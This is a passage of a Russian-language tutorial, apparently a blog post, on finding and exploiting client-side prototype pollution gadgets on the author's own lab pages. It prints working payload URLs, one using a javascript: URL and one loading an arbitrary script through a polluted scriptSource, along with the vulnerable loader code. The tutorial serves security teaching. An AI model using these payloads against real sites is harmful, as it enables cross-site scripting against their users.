\u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 Twitter Ads, \u0442\u043e \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0431\u0443\u0434\u0435\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Twitter Universal Website Tag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>twq<\/code>. \u041f\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u0447\u0435\u0442\u0443 <a href=\"https:\/\/gist.github.com\/nikitastupin\/b3b64a9f8c0eb74ce37626860193eaec\">fingerprint.js<\/a> \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0432 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435. \u0413\u0430\u0434\u0436\u0435\u0442\u044b \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0438\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u044f \u043f\u043e\u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0438\u0437 <a href=\"https:\/\/github.com\/BlackFan\/client-side-prototype-pollution\">BlackFan\/client-side-prototype-pollution<\/a>.<\/p>\n<p>  <\/p>\n<p>\u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u0435\u0433\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fm\/zb\/va\/fmzbvahy0_bsgp39gsw1vbphpwi.png\"> <em>\u0421\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/gist.github.com\/nikitastupin\/b3b64a9f8c0eb74ce37626860193eaec\">fingerprint.js<\/a> \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0435\u0441\u0442\u044c Twitter Universal Website Tag \u0433\u0430\u0434\u0436\u0435\u0442<\/em><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0435\u0441\u0442\u044c Twitter Universal Website Tag \u0433\u0430\u0434\u0436\u0435\u0442. \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u0432 <a href=\"https:\/\/github.com\/BlackFan\/client-side-prototype-pollution\">BlackFan\/client-side-prototype-pollution<\/a>, \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u0435\u043a\u0446\u0438\u044f <a href=\"https:\/\/github.com\/BlackFan\/client-side-prototype-pollution\/blob\/004bf5353f6f30b720f3d68c5aca5191531f35d6\/gadgets\/twitter-uwt.md#poc\">PoC<\/a> \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u043f\u0435\u0439\u043b\u043e\u0434\u043e\u043c. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0435\u0439\u043b\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0430\u0439\u0442\u0435 <code>https:\/\/ctf.nikitastupin.com\/pp\/known.html?__proto__[hif][]=javascript:alert(document.domain)<\/code>.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/m2\/3z\/2n\/m23z2nmepcphxawajgw9tlv4ihy.png\"> <em>\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f prototype pollution \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430<\/em><\/p>\n<p>  <\/p>\n<p>\u0427\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u0441\u0435\u043a\u0443\u043d\u0434 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0439 <code>alert()<\/code>, \u043e\u0442\u043b\u0438\u0447\u043d\u043e!<\/p>\n<p>  <\/p>\n<h3 id=\"poisk-novyh-gadzhetov\">\u041f\u043e\u0438\u0441\u043a \u043d\u043e\u0432\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432<\/h3>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u043d\u0435\u0442? \u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043d\u0430 <code>https:\/\/ctf.nikitastupin.com\/pp\/unknown.html<\/code> \u0438 \u0443\u0431\u0435\u0434\u0438\u043c\u0441\u044f, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c \u043a prototype pollution <code>https:\/\/ctf.nikitastupin.com\/pp\/unknown.html?__proto__[polluted]=31337<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.prototype.polluted &lt; &quot;31337&quot;<\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 <a href=\"https:\/\/gist.github.com\/nikitastupin\/b3b64a9f8c0eb74ce37626860193eaec\">fingerprint.js<\/a> \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u0433\u0430\u0434\u0436\u0435\u0442\u044b.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yx\/6p\/mv\/yx6pmvrivvncgpfyh-wbdxbucuq.png\"> <em>\u0421\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/gist.github.com\/nikitastupin\/b3b64a9f8c0eb74ce37626860193eaec\">fingerprint.js<\/a> \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u0433\u0430\u0434\u0436\u0435\u0442\u044b<\/em><\/p>\n<p>  <\/p>\n<p>\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e Wappalyzer \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 jQuery \u044d\u0442\u043e \u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0438\u0437-\u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 jquery-deparam, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 <code>https:\/\/ctf.nikitastupin.com\/pp\/unknown.html<\/code>.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b7\/tk\/ie\/b7tkie8rgsnhe3mpemdhdt1flbc.png\"> <em>\u041b\u043e\u0436\u043d\u043e\u0435 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 Wappalyzer<\/em><\/p>\n<p>  <\/p>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u043a \u043f\u043e\u0438\u0441\u043a\u0443 \u043d\u043e\u0432\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432:<\/p>\n<p>  <\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/filedescriptor\/untrusted-types\/tree\/old\">filedescriptor\/untrusted-types<\/a>. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u0432\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430: <code>main<\/code> \u0438 <code>old<\/code>. \u041c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>old<\/code>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u0440\u043e\u0449\u0435 \u0447\u0435\u043c <code>main<\/code>. \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u044d\u0442\u043e\u0442 \u043f\u043b\u0430\u0433\u0438\u043d \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DOM XSS, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432 \u0432\u0438\u0434\u0435\u043e <a href=\"https:\/\/youtu.be\/CNNCCgDkt5k\">Finding DOMXSS with DevTools | Untrusted Types Chrome Extension<\/a>.<\/li>\n<li><a href=\"https:\/\/github.com\/securitum\/research\/tree\/master\/r2020_prototype-pollution\">pollute.js<\/a>. \u041a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0430 \u0442\u0430\u043a \u0436\u0435 \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043d \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u043d\u0430\u0439\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 <a href=\"https:\/\/research.securitum.com\/prototype-pollution-and-bypassing-client-side-html-sanitizers\/\">Prototype pollution \u2013 and bypassing client-side HTML sanitizers<\/a>.<\/li>\n<li>\u0418\u0441\u043a\u0430\u0442\u044c \u0440\u0443\u043a\u0430\u043c\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.<\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u043c. \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u043f\u043b\u0430\u0433\u0438\u043d, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043d\u0430 <code>https:\/\/ctf.nikitastupin.com\/pp\/unknown.html<\/code>. \u041f\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u0447\u0435\u0442\u0443 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 <a href=\"https:\/\/github.com\/filedescriptor\/untrusted-types\/tree\/old\">filedescriptor\/untrusted-types<\/a> \u043f\u0440\u043e\u0441\u0442\u043e \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0432\u0441\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a API, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DOM XSS.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hw\/ah\/s0\/hwahs0iu---xvue2kyghr420vfs.png\"> <em>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043f\u043b\u0430\u0433\u0438\u043d <a href=\"https:\/\/github.com\/filedescriptor\/untrusted-types\/tree\/old\">filedescriptor\/untrusted-types<\/a> \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u043e\u0432\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432<\/em><\/p>\n<p>  <\/p>\n<p>\u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u0441\u0435\u0433\u043e \u0434\u0432\u0430 \u043a\u0435\u0439\u0441\u0430. \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u0435\u0439\u0441 \u0438 \u043f\u043e\u043d\u044f\u0442\u044c \u043c\u043e\u0436\u0435\u043c \u043b\u0438 \u043c\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e prototype pollution \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u0430\u043a\u0443\u044e-\u043b\u0438\u0431\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0441\u0442\u0438\u0447\u044c XSS.<\/p>\n<p>  <\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0438\u0434\u0435\u0442 <code>eval<\/code> \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c <code>this<\/code>, \u0435\u0433\u043e \u043c\u044b \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0435\u0439\u0441\u0435 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0443 <code>src<\/code> \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e HTML \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>https:\/\/ctf.nikitastupin.com\/pp\/hello.js<\/code>. \u0418\u0434\u0435\u043c \u0432 \u0441\u0442\u044d\u043a \u0442\u0440\u0435\u0439\u0441, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043f\u043e <code>loadContent @ unknown.html:17<\/code> \u0438 \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">... function loadContent() {   var scriptSource = window.scriptSource || &quot;https:\/\/ctf.nikitastupin.com\/pp\/hello.js&quot;;   const s = document.createElement('script');   s.src = scriptSource;   document.body.appendChild(s); } ...<\/code><\/pre>\n<p>  <\/p>\n<p>\u042d\u0442\u043e\u0442 \u043a\u043e\u0434 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 <code>s<\/code>. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <code>scriptSource<\/code>. \u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f <code>scriptSource<\/code> \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>window.scriptSource<\/code>, \u043b\u0438\u0431\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e <code>&quot;https:\/\/ctf.nikitastupin.com\/pp\/hello.js&quot;<\/code>.<\/p>\n<p>  <\/p>\n<p>\u0422\u0443\u0442-\u0442\u043e \u0438 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u043d\u0430\u0448 \u0433\u0430\u0434\u0436\u0435\u0442. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e prototype pollution \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0430 <code>Object.prototype<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u043c <code>window<\/code>. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>Object.prototype.scriptSource =<\/code>, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043d\u0430 <code>https:\/\/ctf.nikitastupin.com\/pp\/unknown.html?__proto__[scriptSource]=https:\/\/ctf.nikitastupin.com\/pp\/alert.js<\/code>.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/a2\/g9\/ol\/a2g9olhviikiwinun-z9gtgcb4g.png\"> <em>\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f prototype pollution \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u043e\u0432\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430<\/em><\/p>\n<p>  <\/p>\n<p>\u0418 \u0432\u043e\u0442 \u043e\u043d \u043d\u0430\u0448 <code>alert()<\/code>! \u041c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u043d\u0430\u0448\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442 \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430.<\/p>\n<p>  <\/p>\n<p>\u0412\u044b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0436\u0435\u0442\u0435, \u0447\u0442\u043e \u044d\u0442\u043e \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043c\u0438\u0440\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u0448\u044c. \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f <code>var v = v || &quot;default&quot;<\/code> \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d \u0432 JavaScript. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0433\u0430\u0434\u0436\u0435\u0442 \u0434\u043b\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 <a href=\"https:\/\/github.com\/leizongmin\/js-xss\/\">leizongmin\/js-xss<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0438\u0441\u0430\u043d \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 &quot;XSS&quot; \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/research.securitum.com\/prototype-pollution-and-bypassing-client-side-html-sanitizers\/\">Prototype pollution \u2013 and bypassing client-side HTML sanitizers<\/a> \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u0442\u0443 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e.<\/p>\n<p>  <\/p>\n<h2 id=\"neobychnyy-keys\">\u041d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043a\u0435\u0439\u0441<\/h2>\n<p>  <\/p>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432 <code>__proto__[polluted]=1337<\/code> \u0438 <code>__proto__.polluted=31337<\/code> \u043e\u0434\u043d\u0430\u0436\u0434\u044b \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u043a\u0435\u0439\u0441. \u042d\u0442\u043e \u0431\u044b\u043b\u043e \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0441\u0430\u0439\u0442\u0435. \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0440\u0435\u043f\u043e\u0440\u0442 \u0435\u0449\u0435 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0435\u0437 \u0438\u043c\u0435\u043d\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u041c\u043e\u0439 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 prototype pollution \u0441\u043e\u043e\u0431\u0449\u0430\u043b \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 c \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432 \u0435\u0435 \u043d\u0435 \u0443\u0434\u0430\u0432\u0430\u043b\u043e\u0441\u044c. \u042f \u0441\u0435\u043b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0440\u0443\u043a\u0430\u043c\u0438 \u0432 \u0447\u0435\u043c \u0436\u0435 \u0434\u0435\u043b\u043e. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438, \u043d\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442.<\/p>\n<p>  <\/p>\n<p>\u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043d\u0430 <code>https:\/\/ctf.nikitastupin.com\/pp\/bypass.html?__proto__[polluted]=1337&amp;__proto__.polluted=31337<\/code>. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.prototype.polluted &lt; VM30:1 Uncaught ReferenceError: polluted is not defined &lt;     at &lt;anonymous&gt;:1:1<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430, \u043d\u043e \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0447\u0443\u0442\u044c \u0433\u043b\u0443\u0431\u0436\u0435 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">... var t = new Test; t.aaa.utils.deparam(location.search.slice(1));<\/code><\/pre>\n<p>  <\/p>\n<p>\u0423\u0436\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u0430\u044f \u043d\u0430\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>deparam<\/code> \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c <code>location.search<\/code>. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">...   aaa.utils.deparam = function(t, e) {     var n = [&quot;__proto__&quot;, &quot;constructor&quot;, &quot;prototype&quot;], ...<\/code><\/pre>\n<p>  <\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0438\u043c\u0435\u0435\u043c \u0434\u0435\u043b\u043e \u0441 <a 